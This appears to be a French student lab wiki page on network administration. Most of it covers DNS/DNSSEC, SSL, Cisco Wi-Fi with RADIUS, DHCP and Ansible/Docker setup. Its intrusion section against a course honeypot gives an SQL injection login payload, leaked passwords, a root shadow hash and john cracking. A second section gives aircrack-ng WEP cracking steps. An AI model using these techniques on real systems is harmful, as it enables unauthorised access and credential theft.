 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (commande &amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On va créer plusieurs rôles qui seront lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget get.docker.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Autorisation d'un dépôt non sécurisé'''&lt;br /&gt;
&lt;br /&gt;
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans &amp;lt;code&amp;gt;/etc/docker/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 {&lt;br /&gt;
